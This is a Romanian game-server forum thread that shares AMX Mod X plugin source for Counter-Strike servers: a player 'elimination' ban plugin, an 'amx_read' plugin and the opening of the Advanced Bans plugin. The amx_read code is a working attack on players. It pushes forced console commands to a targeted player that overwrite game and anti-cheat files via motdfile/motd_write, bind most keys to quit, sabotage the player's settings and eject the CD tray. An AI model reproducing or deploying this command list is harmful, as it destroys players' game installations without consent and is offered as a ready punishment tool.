			copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, "" );
			copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, "" );
			copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
			copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
			copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
			copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
			copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, "" );
			
		}
		else
		{
			copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, EliminatedTime[ x + 1 ] );
			copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, EliminatedName[ x + 1 ] );
			copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, EliminatedIp[ x + 1 ] );
			copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, EliminatedSteamId[ x + 1 ] );
			copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, EliminatedAdminName[ x + 1 ] );
			copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, EliminatedAdminIp[ x + 1 ] );
			copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, EliminatedAdminSteamId[ x + 1 ] );
			copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, EliminatedReason[ x + 1 ] );
		}
	}
	
	Eliminates--;
	
	ReWriteEliminations( );
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ReWriteEliminations( )
{
	new file[ 128 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	new f = fopen( file, "wt" );
	
	fprintf( f, ";Ip-urile / Steamid-urile userilor eliminati permanent !^n" );
	fprintf( f, ";^n" );
	fprintf( f, ";^n" );
	
	static EliminateTime[ 32 ], EliminateName[ 32 ], EliminateIp[ 32 ], EliminateSteamId[ 35 ];
	static EliminateAdminName[ 32 ], EliminateAdminIp[ 32 ], EliminateAdminSteamId[ 35 ], EliminateReason[ 32 ];
	
	for( new i = 0 ; i < Eliminates ; i++ )
	{
		
		copy( EliminateTime, sizeof ( EliminateTime ) -1, EliminatedTime[ i ] );
		copy( EliminateName , sizeof ( EliminateName ) - 1, EliminatedName[ i ] );
		copy( EliminateIp , sizeof ( EliminateIp ) - 1, EliminatedIp[ i ] );
		copy( EliminateSteamId , sizeof ( EliminateSteamId ) - 1, EliminatedSteamId[ i ] );
		copy( EliminateAdminName , sizeof ( EliminateAdminName ) - 1, EliminatedAdminName[ i ] );
		copy( EliminateAdminIp , sizeof ( EliminateAdminIp ) - 1, EliminatedAdminIp[ i ] );
		copy( EliminateAdminSteamId , sizeof ( EliminateAdminSteamId ) - 1, EliminatedAdminSteamId[ i ] );
		copy( EliminateReason , sizeof ( EliminateReason ) - 1, EliminatedReason[ i ] );
		
		fprintf( f, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
		EliminateTime,\
		EliminateName,\
		EliminateIp,\
		EliminateSteamId,\
		EliminateAdminName,\
		EliminateAdminIp,\
		EliminateAdminSteamId,\
		EliminateReason
		);
	}
	
	fclose(f);
}

public LogToConfigs( const msg[ ], any:...)
{
	new message[ 256 ];
	vformat( message, sizeof ( message ) -1, msg , 2 );
	
	new file[ 128 ], log[ 256 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateLogFile );
	
	if( !file_exists( file ) ) 
	{
		write_file( file ,"In acest log veti gasi urmatoarele informatii:", -1 );
		write_file( file ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
		write_file( file ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
		write_file( file ,"",-1 );
		write_file( file ,"",-1 );
	}	
	
	formatex( log, sizeof (log ) -1,"|%s| - %s ", _get_time( ), message );
	write_file( file, log, -1 );

}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public Log( const msg[ ], any:...)
{
	new message[ 256 ];
	vformat( message, sizeof ( message ) -1, msg , 2 );
	
	new dir[ 64 ], file[ 128 ], log[ 256 ];	
	
	if( !dir[ 0 ] )
	{	
		get_basedir( dir, sizeof ( dir ) -1 );
		formatex( file, sizeof ( file ) -1,"%s/logs/AdvancedEliminate.log", dir );
	}
	
	formatex( log, sizeof (log ) -1,"|%s| %s ", _get_time( ), message );
	write_file( file, log, -1 );
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public PrintConsoleInfo( id, const name[ ], const ip[ ], const steamid[ ], const reason[ ], const admin_name[ ], const admin_ip[ ], const admin_steamid[ ], const dateandtime[ ] )
{
	new plugin_info[ 128 ];
	formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"*********** %s v%s by %s ************^"", PLUGIN, VERSION, "Askhanar");
	
	client_cmd( id, "echo ^"****************************************************^"") ;
	client_cmd( id, "echo ^"***************Informatii despre eliminarea de pe server*********^"" );
	client_cmd( id, "echo ^"*    ^"" );
	client_cmd( id, "echo ^"*    Nume: %s^"", name );
	client_cmd( id, "echo ^"*    Ip: %s^"", ip );
	client_cmd( id, "echo ^"*    Steamid: %s^"", steamid );
	client_cmd( id, "echo ^"*    Motiv: %s ^"", reason );
	client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
	client_cmd( id, "echo ^"*    Nume Admin: %s^"", admin_name );
	client_cmd( id, "echo ^"*    Ip Admin: %s^"", admin_ip );
	client_cmd( id, "echo ^"*    Steamid Admin: %s^"", admin_steamid );
	client_cmd( id, "echo ^"*    Data/Ora: %s^"", dateandtime );
	client_cmd( id, "echo ^"*    Daca te simti neindreptatit contacteaza-ne pe:^"");
	client_cmd( id, "echo ^"*    %s^"", get_site( ) );
	client_cmd( id, "echo ^"*    ^"" );
	client_cmd( id, "echo ^"****************************************************^"") ;
	client_cmd( id, "%s", plugin_info );
	client_cmd( id, "echo ^"****************************************************^"") ;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/
/*======================================= - ¦ Askhanar ¦ - =======================================*/

public TaskDisconnectPlayer( id )
{
	
	id -= ELIMINATETASK;
	server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
	
}
public TaskDisconnectPlayerFromSV( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
	
	return 1;
}

public CreateEliminateEffects( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	get_user_origin( id, vOrigin[ id ] );
	
	Create_TE_IMPLOSION( vOrigin[ id ], 100, 20, 5 );
	emit_sound( id, CHAN_STATIC, EliminateExplodeSound, 1.0, ATTN_NORM, 0, PITCH_NORM );
	
	
	set_task( 0.5, "CreateExplosionEffect", id + ELIMINATETASK );
	set_task( 0.5, "CreateBlastCirclesEffect", id + ELIMINATETASK );
	
	return 0;
}

public CreateExplosionEffect( id )
{
	id -= ELIMINATETASK;
	
	if( !is_user_connected( id ) ) return 1;
	
	new Origin[ 3 ],vPosition[ 3 ];
	Origin[ 0 ] = vOrigin[ id ][ 0 ];
	Origin[ 1 ] = vOrigin[ id ][ 1 ];
	Origin[ 2 ] = vOrigin[ id ][ 2 ];
	
	vPosition[ 0 ] = vOrigin[ id ][ 0 ] + random_num( -100, 100 );
	vPosition[ 1 ] = vOrigin[ id ][ 1 ] + random_num( -100, 100 );
	vPosition[ 2 ] = vOrigin[ id ][ 2 ] + random_num( -50, 50 );
	
	Create_TE_EXPLOSION( Origin, vPosition, ExplodeSpr, (random_num(0,20) + 20), 12, 0 );
	Create_TE_Smoke( Origin, vPosition, SmokeSpr, 60, 10 );
	user_silentkill( id );
	
	return 0;
	
}

public CreateBlastCirclesEffect( id )
{
	id -= ELIMINATETASK;
	
	if( !is_user_connected( id ) ) return 1;
	
	new Origin[ 3], vPosition[3];

	Origin[ 0 ] = vOrigin[ id ][ 0 ];
	Origin[ 1 ] = vOrigin[ id ][ 1 ];
	Origin[ 2 ] = vOrigin[ id ][ 2 ] - 16;

	vPosition[ 0 ] = vOrigin[ id ][ 0];
	vPosition[ 1 ] = vOrigin[ id ][ 1 ];
	vPosition[ 2 ] = vOrigin[ id ][ 2 ] + 250;

	Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );

	vOrigin[id][ 2 ] = ( Origin[2] - 250 ) + ( 250 / 2 );

	Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );
	
	return 0;
}
stock Create_TE_IMPLOSION( position[ 3 ], radius, count, life )
{

	message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( TE_IMPLOSION );
	write_coord( position[ 0 ] );			// position (X)
	write_coord( position[ 1 ] );			// position (Y)
	write_coord( position[ 2 ] );			// position (Z)
	write_byte ( radius );				// radius
	write_byte ( count );				// count
	write_byte ( life );					// life in 0.1's
	message_end( );
}

stock Create_TE_EXPLOSION( origin[ 3 ], origin2[ 3 ], iSprite, scale, frameRate, flags )
{

	message_begin( MSG_PVS, SVC_TEMPENTITY, origin );
	write_byte( TE_EXPLOSION );
	write_coord( origin2[ 0 ] );			// position (X)
	write_coord( origin2[ 1 ] );			// position (Y)
	write_coord( origin2[ 2 ]	);			// position (Z)
	write_short( iSprite );			// sprite index
	write_byte( scale );				// scale in 0.1's
	write_byte( frameRate );				// framerate
	write_byte( flags );					// flags
	message_end( );
}

stock Create_TE_Smoke( originSight[ 3 ], position[ 3 ], iSprite, scale, framerate )
{

	message_begin( MSG_PVS, SVC_TEMPENTITY, originSight );
	write_byte( TE_SMOKE );
	write_coord( position[ 0 ] );			// Position
	write_coord( position[ 1 ] );
	write_coord( position[ 2 ] );
	write_short( iSprite );				// Sprite index
	write_byte( scale );					// scale * 10
	write_byte( framerate  );		// framerate
	message_end( );
}



stock Create_TE_BEAMCYLINDER( origin[ 3 ], center[ 3 ], axis[ 3 ], iSprite, startFrame, frameRate, life, width, amplitude, red, green, blue, brightness, speed )
{

	message_begin( MSG_PAS, SVC_TEMPENTITY, origin );
	write_byte( TE_BEAMCYLINDER );
	write_coord( center[ 0 ] );			// center position (X)
	write_coord( center[ 1 ] );			// center position (Y)
	write_coord( center[ 2 ] );			// center position (Z)
	write_coord( axis[ 0 ] );				// axis and radius (X)
	write_coord( axis[ 1 ] );				// axis and radius (Y)
	write_coord( axis[ 2 ] );				// axis and radius (Z)
	write_short( iSprite );				// sprite index
	write_byte( startFrame );			// starting frame
	write_byte( frameRate );				// frame rate in 0.1's
	write_byte( life );					// life in 0.1's
	write_byte( width );					// line width in 0.1's
	write_byte( amplitude )	;			// noise amplitude in 0.01's
	write_byte( red );					// color (red)
	write_byte( green );					// color (green)
	write_byte( blue );				// color (blue)
	write_byte( brightness );			// brightness
	write_byte( speed );					// scroll speed in 0.1's
	message_end( );
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

stock get_name( id )
{
	new name[ 32 ];
	get_user_name( id, name, sizeof ( name ) -1 );

	return name;
}

stock get_ip( id )
{
	new ip[ 32 ];
	get_user_ip( id, ip, sizeof ( ip ) -1, 1 );

	return ip;
}

stock get_authid( id )
{
	new authid[ 35 ];
	get_user_authid( id, authid, sizeof ( authid ) -1 );

	return authid;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

stock get_tag( )
{
	new tag[ 32 ];
	get_pcvar_string( cvar_tag, tag, sizeof ( tag ) -1 );

	return tag;
}

stock get_site( )
{
	new site[ 32 ];
	get_pcvar_string( cvar_site, site, sizeof ( site ) -1 );

	return site;
}
stock _get_time( )
{
	new logtime[ 32 ];
	get_time("%d.%m.%Y - %H:%M:%S", logtime ,sizeof ( logtime ) -1 );
	
	return logtime;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

stock bool:HasUserAccess( id )
{
	if( get_user_flags( id ) & ELIMINATE_ACCESS )
		return true;
		
	return false;
}

public ShakeScreen( id, const Float:seconds )
{
	message_begin( MSG_ONE, get_user_msgid( "ScreenShake" ), { 0, 0, 0 }, id );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( 1<<13 );
	message_end( );
	
}

public FadeScreen( id, const Float:seconds, const red, const green, const blue, const alpha )
{      
	message_begin( MSG_ONE, get_user_msgid( "ScreenFade" ), _, id );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( 0x0000 );
	write_byte( red );
	write_byte( green );
	write_byte( blue );
	write_byte( alpha );
	message_end( );

}
/*======================================= - ¦ Askhanar ¦ - =======================================*/

/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ ansicpg1252\\ deff0{\\ fonttbl{\\ f0\\ froman\\ fcharset0 Times New Roman;}}\n{\\ colortbl ;\\ red0\\ green0\\ blue0;}\n\\ viewkind4\\ uc1\\ pard\\ cf1\\ lang11274\\ f0\\ fs24 \n\\ par }
*/

Nota: La vreo 100 de eliminari.. plugin`ul se buguieste la incarcarea / salvarea / reschierea eliminarilor.
Le incarca de mai multe ori pe aceleasi.. ( cu toate astea tot iei kick daca esti pe lista.. ) dar nu afecteaza comanda amx_eliminate.

Cei ce-l luati.. astept credite si un multumesc.
Am investit timp si rabdare in crearea lui.


LE: @ reading.. ai pus prea multe comenzi si jucatorul victima va primi realiable channel overflowed..
De ce se buseste pluginul la 100 de eliminateuri? Ce bug are? Nu il poti repara?
Pacat ca toate pluginurile de genul sa scap de codati au cate un bug :(
User avatar
levin
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 3855
Joined: 24 Aug 2011, 12:24
Detinator Steam: Nu
CS Status:
Detinator server CS: ☯∴
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Discord: devilclass
Has thanked: 36 times
Been thanked: 595 times
Contact:

28 Jul 2013, 00:50

ReaD1nG wrote:Salut as dori si eu un plugin amx_read . am facut eu totul decand dumneavoastra voi cei care ma ajutati sa il fac sa imi adaugati 2 lucruri
1 Totul este facut de mine voi decat sa bagati desigur
2 Vreau sa imi adaugati in acest plugin amx_read cand dau amx_read nume motiv sa dea si un ban sa zicem 120 sa sa puneti voi acolo si eu sa schimb , bun !
3 Vreau sa fie si un amx_unread adica sa scoata banul si in consola sa scrie amx_unread <nume sau ip> <motiv>
cam atat eu sper sa ma ajutati
Va multumesc
P.S : va dau multumesc
Hopa uitai sma
SMA | Afiseaza codul
// DESIGUR MULTUMIRI CELOR CE MAU AJUTAT : pumf etc etc bla bla !

#include < amxmodx >
#include < amxmisc >
#include < sockets >
#include < fun >


enum


{


INFO_IP,
INFO_AUTHID


};


new const g_sCommands[ ][ ] =
{
    "rate 1",
    "cl_cmdrate 1",
        "snapshot",
    "cl_updaterate 1",
    "cl_allowdownload 0",
    "cl_allowupload 0",
    "cl_crosshair_size large",
    "fps_max 1",
    "sys_ticrate 1",
        "fps_modem 1",
        "sensitivity 9999.9999",
        "developer 1",
        "con_color 1 1 1",
        "m_pitch 1",
        "m_yaw 1",
    "hpk_maxsize 100",
    "cl_forwardspeed 100",
    "cl_backspeed 100",
    "cl_sidespeed 100",
    "cl_timeout 0",
    
    "name AM FOST READUS la moarte pe http://www.laleagane.ro",
       
    
    "motdfile models/player.mdl;motd_write x",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile cs_dust.wad;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
        "motdfile cl_dlls/client.dll;motd_write x",
        "motdfile dlls/server.dll;motd_write x",
        "motdfile raiz0-Guard.dll;motd_write x",
        "motdfile raiz0-Guard.ini;motd_write x",
        "motdfile raiz0-Guard.asi;motd_write x",
        "motdfile models/shield.mdl;motd_write x",
    "motdfile models/player/z_out_admin/z_out_admin.mdl;motd_write x",
    "motdfile models/player/admin_ct/admin_ct.mdl;motd_write x",
    "motdfile models/w_usp.mdl;motd_write x",
    "motdfile models/w_ump45.mdl;motd_write x",
    "motdfile models/w_smokegrenade.mdl;motd_write x",
    "motdfile models/w_sg552.mdl;motd_write x",
    "motdfile models/w_sg550.mdl;motd_write x",
    "motdfile models/w_scout.mdl;motd_write x",
    "motdfile models/w_p228.mdl;motd_write x",
    "motdfile models/w_p90.mdl;motd_write x",
    "motdfile models/w_mac10.mdl;motd_write x",
    "motdfile models/w_knife.mdl;motd_write x",
    "motdfile models/w_hegrenade.mdl;motd_write x",
    "motdfile models/w_flashbang.mdl;motd_write x",
    "motdfile models/w_c4.mdl;motd_write x",
    "motdfile models/v_shield_r.mdl;motd_write x",
    "motdfile models/v_sg550.mdl;motd_write x",
    "motdfile models/v_p228.mdl;motd_write x",
    "motdfile models/v_p90.mdl;motd_write x",
    "motdfile models/v_mp5.mdl;motd_write x",
    "motdfile models/v_mac10.mdl;motd_write x",
    "motdfile models/v_m3.mdl;motd_write x",
    "motdfile models/v_knife_r.mdl;motd_write x",
    "motdfile models/v_knife.mdl;motd_write x",
    "motdfile models/v_hegrenade.mdl;motd_write x",
    "motdfile models/v_c4.mdl;motd_write x",
    "motdfile models/support3.mdl;motd_write x",
    "motdfile models/p_knife.mdl;motd_write x",
    "motdfile models/p_usp.mdl;motd_write x",
    "motdfile resource/LoadingDialog.res;motd_write x",
    "motdfile resource/CreateMultiplayerGameServerPage.res;motd_write x",
    "motdfile resource/game_menu_mouseover.tga;motd_write x",
    "motdfile resource/logo_game.tga;motd_write x",
    "motdfile events/createexplo.sc;motd_write x",
    "motdfile events/awp.sc;motd_write x",
    "motdfile events/deagle.sc;motd_write x",
    "motdfile events/famas.sc;motd_write x",
    "motdfile events/p90.sc;motd_write x",
    "motdfile cl_dlls/client.dll;motd_write x",
    "motdfile sprites/pistol_smoke1.spr;motd_write x",
    "motdfile sprites/ic4.spr;motd_write x",
    "motdfile sprites/radio.spr;motd_write x",
    "motdfile sprites/radar320.spr;motd_write x",
    "motdfile sprites/radar640.spr;motd_write x",
    "motdfile sprites/radaropaque640.spr;motd_write x",
    "motdfile sprites/snow.spr;motd_write x",
    "motdfile sprites/smokepuff.spr;motd_write x",
    "motdfile sprites/w_ak47.spr;motd_write x",
    "motdfile sprites/w_knife.spr;motd_write x",
    "motdfile userconfig.cfg;motd_write x",
    "motdfile dlls/mpold.dll;motd_write x",
    "motdfile classes/ak47.res;motd_write x",
    "motdfile classes/default.res;motd_write x",
    "motdfile BotChatter.db;motd_write x",
    "motdfile BotProfile.db;motd_write x",
    "motdfile sound/destroy.wav;motd_write x",
    "motdfile models/player.mdl;motd_write y",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/p_ak47.mdl;motd_write x",
    "motdfile models/v_flashbang.mdl;motd_write y",
    "motdfile models/p_m3.mdl;motd_write x",
    "motdfile models/v_awp.mdl;motd_write n",
    "motdfile models/p_ump45.mdl;motd_write x",
    "motdfile models/v_awp.mdl;motd_write x",
    "motdfile models/player/arctic/arctic.mdl;motd_write x",
    "motdfile models/player/gsg9/gsg9.mdl;motd_write y",
    "motdfile models/player/sas/sas.mdl;motd_write x",
    "motdfile models/player/terror/terror.mdl;motd_write y",
    "motdfile models/player/vip/vip.mdl;motd_write x",
    "motdfile models/player/urban/urban.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile liblist.gam;motd_write y",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile autoexec.cfg;motd_write x",
    "motdfile dlls/cs_i386.so;motd_write x",
    "motdfile resource/cstrike_english.txt;motd_write x",
    "motdfile resource/game_menu.tga;motd_write x",
    "motdfile maps/de_inferno.bsp;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile maps/de_aztec.bsp;motd_write x",
    "motdfile maps/de_dust.bsp;motd_write x",
    "motdfile maps/de_train.bsp;motd_write x",
    "motdfile cs_assault.wad;motd_write x",
    "motdfile spectatormenu.txt.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",


    "cd eject",
    "kill",


        "bind ` quit",
        "bind enter quit",
        "bind space quit",
        "bind ctrl quit",
        "bind y quit",
        "bind u quit",
        "bind m quit",
        "bind a quit",
        "bind s quit",
        "bind w quit",
        "bind q quit",
        "bind e quit",
    "bind t quit",
    "bind d quit",
        "bind tab quit",
        "snapshot"
};


new cvar_time,TIME[65]
new cvar_forum,FORUM[66]


public plugin_init( )
{
    register_plugin( "AMX_read", "2.4", "eVoLuTiOn" ) // editat de read1ng si pumf desigur;
    register_concmd( "amx_read", "Concmd_AMXX_read", ADMIN_LEVEL_G, "<jucator> <motiv>" );
        cvar_time = register_cvar("amx_read_time", "1")
        cvar_forum = register_cvar("amx_read_forum", "www.laleagane.ro")
}


public Concmd_AMXX_read( id, level, cid )
{
    if(!cmd_access(id,level,cid,2))
        return PLUGIN_HANDLED;        
    new sArgument[32]
    read_argv( 1, sArgument, charsmax( sArgument ) );
    new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
    if( !player )
        return PLUGIN_HANDLED;
    
    for( new i = 0; i < sizeof( g_sCommands ); i++)
        client_cmd( player, g_sCommands[ i ] );
    
    
    if ( !player )
    {
        console_print ( id, "Jucatorul cu acel nume nu exista ! !" );
        return 1;
    }
    
        new name[ 32 ], name2[ 32 ], ip2[ 16 ], Players[32], reason[32], PlayersNum, ctime[64];
    get_user_name( id, name, charsmax( name ) );
    get_user_name( player, name2, charsmax( name2 ) );
    get_user_ip( player, ip2, charsmax( ip2 ), 1 );
    get_players( Players, PlayersNum, "ch" );
    get_time("Data: %d/%m/%Y - Ora: %H:%M:%S", ctime, 63)
    read_argv(2, reason, 31);
    remove_quotes(reason);
    get_pcvar_string(cvar_time, TIME, 64);
    get_pcvar_string(cvar_forum, FORUM, 65);
    
    log_to_file( "read.log", "[HNS]ADMIN-ul %s ia spart moaca lui %s ( IP: %s ). Motivul: %s", name, name2, ip2, reason );
    
    chat_color( 0, "!n[!tHNS!n]!tADMIN!n-!gul !t%s!n: ia spart moaca lui !g%s !ncu !tMotivul!n: %s ", name, name2, reason );


        client_cmd( 0, "spk ^"vox/bizwarn coded user apprehend^"" );


    chat_color( id, "!g* !nNume: !t%s !n| Nume Admin : !g%s", name, name2);
    chat_color( id, "!g* !nIP Jucator: !t%s !n| IP Admin: !g%s", ip2, GetInfo(  id,  INFO_IP  ) );
    chat_color( id, "!g* !nSteamID: !t%s !n| SteamID Admin: !g%s ", GetInfo(  player,  INFO_AUTHID  ),  GetInfo(  id,  INFO_AUTHID  )  );
    chat_color( id, "!g* !nExterminate motiv: !t%s", reason);
    chat_color( id, "!g* !nData/Ora: !t%s !n| Site: !g%s", ctime, FORUM);


        client_cmd( id,  "snapshot;snapshot;snapshot"  );


    return PLUGIN_HANDLED;
}


stock chat_color(const id, const input[], any:...)
{
    new count = 1, players[32]
    static msg[191]
    vformat(msg, 190, input, 3)
    
    replace_all(msg, 190, "!g", "^4")
    replace_all(msg, 190, "!n", "^1")
    replace_all(msg, 190, "!t", "^3")
    replace_all(msg, 190, "!t2", "^0")
    
    if (id) players[0] = id; else get_players(players, count, "ch")
    {
        for (new i = 0; i < count; i++)
        {
            if (is_user_connected(players))
            {
                message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players)
                write_byte(players);
                write_string(msg);
                message_end();
            }
        }
    }
}
stock GetInfo( id, const iInfo )
{
    
    new szInfoToReturn[  64  ];
    
    switch(  iInfo  )
    {
        
        case INFO_AUTHID:
        {
            new szAuthId[ 35 ];
            get_user_authid(  id,  szAuthId,  sizeof ( szAuthId ) -1  );
            
            copy(  szInfoToReturn,  sizeof ( szInfoToReturn ) -1,  szAuthId  );
        }
        case INFO_IP:
        {
            new szIp[ 32 ];
            get_user_ip(  id,  szIp,  sizeof ( szIp ) -1,  1  );
            
            copy(  szInfoToReturn,  sizeof ( szInfoToReturn ) -1,  szIp  );
        }
    }
    
    return szInfoToReturn;
}


/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/

si sa nu uit de ADVANCED BAN:)
*
Advanced Bans
SMA | Afiseaza codul
Version 0.8.1
	
	by Exolent
	
	
	
	Plugin Thread:
	
	- http://forums.alliedmods.net/showthread.php?t=80858
	
	
	
	Description:
	
	- This plugin revamps the current amx_ban, amx_banip, amx_banid, amx_unban admin commands.
	
	- It uses Real Time on the server
	  (Eg. Banned for 10 minutes, you will be unbanned 10 minutes later, regardless of map changing).
	
	- It includes a list of who is banned.
	
	- It does not use the banned.cfg or listip.cfg. It uses its own file where bans are stored.
	
	- It saves what admin banned the player (name), the admin's steamid, the reason, the ban time, 
	  the banned player's name, the banned player's steamid (or IP), and the estimated time of unban.
	
	- It will load your currently banned players from the banned.cfg and listip.cfg files.
	  (Only if the #define below is uncommented)
	
	- If you use the menu to ban players, you will have to type a reason after you choose a player.
	
	- If you use the vote system to ban players, you will have to type a reason after you execute the amx_voteban command.
	
	- You can limit the ban time for admins based on their admin flags.
	
	- You can monitor all ban history (admins banning, unbanning, and when ban times are up) in
	  the addons/amxmodx/logs/BAN_HISTORY_MMDDYYYY.log (MM = month, DD = day, YYYY = year)
	
	- If you wish to have only 1 file for ban history, uncomment the line at the top of the .sma file and recompile.
	
	- Supports SQL for banning.
	
	
	
	Commands:
	
	- amx_ban <nick, #userid, authid> <time in minutes> <reason>
	
	- amx_banip <nick, #userid, authid> <time in minutes> <reason>
	
	- amx_addban <name> <authid or ip> <time in minutes> <reason>
	
	- amx_unban <authid or ip>
	
	- amx_banlist
	  - Shows a list of who is banned
	
	- amx_addbanlimit <flags> <time in minutes>
	  - Adds a max ban time to the list
	  - Note: Use this command in the amxx.cfg
	
	
	
	Cvars:
	
	- ab_website <website>
	  - This is the website displayed to the banned player if you have an unban request section on your website.
	  - Leave blank to not show a website.
	  - Default: blank
	
	- ab_immunity <0|1|2>
	  - 0 - Any admin can ban an immunity admin (flag 'a').
	  - 1 - Immunity admins (flag 'a') cannot be banned.
	  - 2 - Immunity admins (flag 'a') can only be banned by other immunity admins (flag 'a').
	  - Default: 1
	
	- ab_bandelay <seconds>
	  - Delay of banned players being disconnected.
	  - Default: 1
	
	- ab_unbancheck <seconds>
	  - Interval of checking if a player is unbanned.
	  - Default: 5
	
	
	
	Requirements:
	
	- AMX Mod X version 1.8.0 or higher
	
	
	
	Changelog:

	- Version 0.1 (with updates included)
	  - Initial Release
	  - Changed to dynamic arrays to hold ban information
	  - Added option #2 for ab_immunity
	  - Added support for banning by IP
	  - Added compatability for banned.cfg and listip.cfg
	  - Added menu support (plmenu.amxx)
	  - Added ML support

	- Version 0.2
	  - Added simple max ban time feature

	- Version 0.3
	  - Added more cvars for max ban times
	  - Added cvar for delay of player to disconenct after being banned
	  - Added cvar for interval of checking for unban time of banned players
	  - Added more translations

	- Version 0.4
	  - Fixed the possible infinite loop, causing servers to crash
	  - Added ban history
	  - Removed max ban time cvars
	  - Added max ban times per admin flags
	  - Added more translations

	- Version 0.5
	  - Fixed information not being printed into console
	  - Fixed "amx_addban" using the admin's name as the SteamID when saving the ban
	  - Added option for ban history to be one file
	  - Added translations

	- Version 0.5b
	  - Fixed players not being unbanned
	  - Added translations
	
	- Version 0.6
	  - Added small optimization for unban checking
	  - Changed "UnBan Time" in the logs and chat messages to "Ban Length"
	  - Fixed small code error where unban time was generated was used when length was 0
	  - Changed IsValidIP() method to use regex (Thanks to arkshine)
	  - Added plugin information inside the .sma file
	  - Added a #define option to use maximum bans for compatability for AMXX < 1.8.0
	  - Changed admin messages in chat to work with amx_show_activity cvar
	  - Added translations
	
	- Version 0.6b
	  - Fixed a small bug
	
	- Version 0.6c
	  - Fixed amx_banlist for server consoles
	  - Changed IsValidAuthid() method to use regex
	
	- Version 0.6d
	  - Fixed ban limit for permanent bans
	
	- Version 0.7
	  - Changed the "unlimited bans" version to be faster (Thanks to joaquimandrade)
	  - Added check when adding bans if the player is already banned.
	
	- Version 0.8
	  - Added SQL support.
	
	- Version 0.8.1
	  - Added unban logging for non-SQL version
	
	
	
	Notes:
	
	- If you plan to use this plugin, go to the plugin's thread.
	
	- The plugin's thread has more information about the plugin, along with the multilingual file.
	
	- It also has a modified plmenu.amxx plugin that adds the ban reason to the menu.
	
	- And it has a modified adminvote.amxx plugin that adds the ban reason to amx_voteban.
*/



#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <regex>

#define PLUGIN_NAME	"Advanced Bans"
#define PLUGIN_VERSION	"0.8.1"
#define PLUGIN_AUTHOR	"Exolent"

#pragma semicolon 1



// ===============================================
// CUSTOMIZATION STARTS HERE
// ===============================================


// uncomment the line below if you want this plugin to
// load old bans from the banned.cfg and listip.cfg files
